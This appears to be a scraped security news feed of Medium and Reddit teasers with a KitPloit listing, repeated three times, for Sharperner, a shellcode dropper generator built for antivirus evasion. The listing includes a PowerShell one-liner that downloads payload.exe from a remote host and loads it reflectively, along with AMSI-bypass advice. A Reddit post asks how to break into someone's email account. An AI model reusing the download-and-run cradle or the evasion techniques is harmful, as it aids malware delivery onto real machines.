Hacking on Medium
[TryHackMe] Pre Security Learning Path Honest Review — The best path for beginners to follow

https://cdn-images-1.medium.com/max/1320/0*BNqGROxaVLnVUJti.png
TryHackMe published a new learning path, Pre Security Learning Path , This is the best place to start your journey into the field of IT.

Continue reading on Medium »

Hacking on Medium
Introduction to CyberSecurity

https://cdn-images-1.medium.com/max/1414/1*tRaJ7fLcKVry3i2JHVUVXg.png
Cybersecurity is one of the most demanding fields right now. Many students got fascinated by seeing bug bounty, OSCP, and many other posts…

Continue reading on Medium »

Hacking on Medium
Получи биткоин за разгадку шифра KNADAF/5

https://cdn-images-1.medium.com/max/1080/1*5fE0oyPmg1VT3t2EV-6_5Q.jpeg
Всем привет! вот такое сообщение бороздит просторы нашего русскоязычного сегмента интернета. Казалось бы, зачем это кому-то просто так…

Continue reading on Medium »

Hacking on Medium
Getting into learning Cyber Security has never been easier (I’m not even kidding).

https://cdn-images-1.medium.com/max/824/1*1xQIcXZHHUFPXCi2sCkjfA.png
TL;DR/Introduction: 
If you want to learn Cyber Security and haven’t yet taken a look at TryHackMe.com, definitely be sure to check it out!

Continue reading on Medium »

hacking: security in practice
Privacy protection

Hi, Need to know if I can remain anonymous/untraceable on my cell phone while using social media.

submitted by /u/eik_bunjara
[link] [comments]

Sharperner - Simple Executable Generator With Encrypted Shellcode
http://www.kitploit.com/2021/07/sharperner-simple-executable-generator.html

Sharperner is a tool written in CSharp that generate .NET dropper (https://www.kitploit.com/search/label/Dropper) with AES (https://www.kitploit.com/search/label/AES) and XOR obfuscated shellcode. Generated executable can possibly bypass signature check but I cant be sure it can bypass heuristic scanning.
Features

PE binary
Process Hollowing PPID Spoofing Random generated AES key and iv Final Shellcode, Key and IV are translated to morse code :)
.NET binary
AES + XOR encrypted shellcode APC Process Injection (https://www.kitploit.com/search/label/Injection) (explorer.exe) Random function names Random generated AES key and iv Final Shellcode, Key and IV are translated to morse code :)
Usage
/file B64,hex,raw shellcode
/type cs,cpp
/out Output file Location (Optional)

Example:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe

Suggestion
To avoid touching the disk, Generated .NET executable can be loaded reflectively with powershell. AMSI (https://www.kitploit.com/search/label/AMSI) is the enemy now, amsi.fail (https://amsi.fail/) ftw! $data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[TotallyNotMal.Program]::Main()

Download Sharperner (https://github.com/aniqfakhrul/Sharperner)

Sharperner - Simple Executable Generator With Encrypted Shellcode

Sharperner is a tool written in CSharp that generate .NET dropper with AES and XOR obfuscated shellcode. Generated executable can possibly bypass signature check but I cant be sure it can bypass heuristic scanning.Features PE binary Process Hollowing PPID Spoofing Random generated AES key and iv Final Shellcode, Key and IV are translated to morse code :) .NET binary AES + XOR encrypted shellcode APC Process Injection (explorer.exe) Random function names Random generated AES key and iv Final Shellcode, Key and IV are translated to morse code :) Usage /file B64,hex,raw shellcode/type cs,cpp/out Output file Location (Optional)Example:Sharperner.exe /file:file.txt /type:cppSharperner.exe /file:file.txt /out:payload.exe Suggestion To avoid touching the disk, Generated .NET executable can be loaded reflectively with powershell. AMSI is the enemy now, amsi.fail ftw! $data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')$assem = System.Reflection.Assembly::Load($data)TotallyNotMal.Program::Main() Download Sharperner
Read more...

KitPloit - PenTest Tools!
Sharperner - Simple Executable Generator With Encrypted Shellcode

https://1.bp.blogspot.com/-y2RPsgnsqeI/YN5nW35YUaI/AAAAAAAAfkQ/aQ1UEc6pFB8TURAOCPLlk9pkORoyfweXQCNcBGAsYHQ/w640-h613/Sharperner_1_scan.png
Sharperner is a tool written in CSharp that generate .NET dropper with AES and XOR obfuscated shellcode. Generated executable can possibly bypass signature check but I cant be sure it can bypass heuristic scanning.
Features

PE binary

* Process Hollowing
* PPID Spoofing
* Random generated AES key and iv
* Final Shellcode, Key and IV are translated to morse code :)

.NET binary

* AES + XOR encrypted shellcode
* APC Process Injection (explorer.exe)
* Random function names
* Random generated AES key and iv
* Final Shellcode, Key and IV are translated to morse code :)

Usage

/file B64,hex,raw shellcode
/type cs,cpp
/out Output file Location (Optional)

Example:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe


Suggestion

To avoid touching the disk, Generated .NET executable can be loaded reflectively with powershell. AMSI is the enemy now, amsi.fail ftw!

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[TotallyNotMal.Program]::Main()
Download Sharperner

Hacking on Medium
Proving Grounds: Geisha

https://cdn-images-1.medium.com/max/834/1*Bv0m1etYow5ZfFL84iRT2w.png
Today we will be tackling Offensive Security’s Proving Grounds: Geisha box, this box is a simple boot2root that uses SSH Bruteforcing and…

Continue reading on Medium »

Broken Link Hijacking.
https://rammk01.medium.com/broken-link-hijacking-3e190962644f?source=rss------bug_bounty-5

How I accidently Found a Bug called Broken Link Hijacking.Continue reading on Medium » (https://rammk01.medium.com/broken-link-hijacking-3e190962644f?source=rss------bug_bounty-5)

hacking: security in practice
WhiteHat Hacking of... sorts?

Hi all, not a hacker here.

I was recently approached by my very concerned boss, and since he thinks that I'm some computer wizard (because I help with the printers every now and then, but far from it), he asked me if I knew how to hack and gain access to an email account.

He told me he has an aunt that has a young son, 17-18, who ran away from home about a year or so go. She's desperate because they haven't heard from him, or the police in a long while, and she just wants to find her kid, or... get some closure, I guess.

I cannot do that, I don't have the tech knowledge. If you guys could point me in the right direction... They want to gain access to his email to find clues to his whereabouts, I think.

Any idea where I could find someone (or some tool) to do that?

submitted by /u/RhaegarLannister
[link] [comments]

Leveraging Burp Suite extension for finding HTTP request smuggling.

HTTP Request Smuggling is often left behind in bug bounty findings.Continue reading on InfoSec Write-ups »
Read more...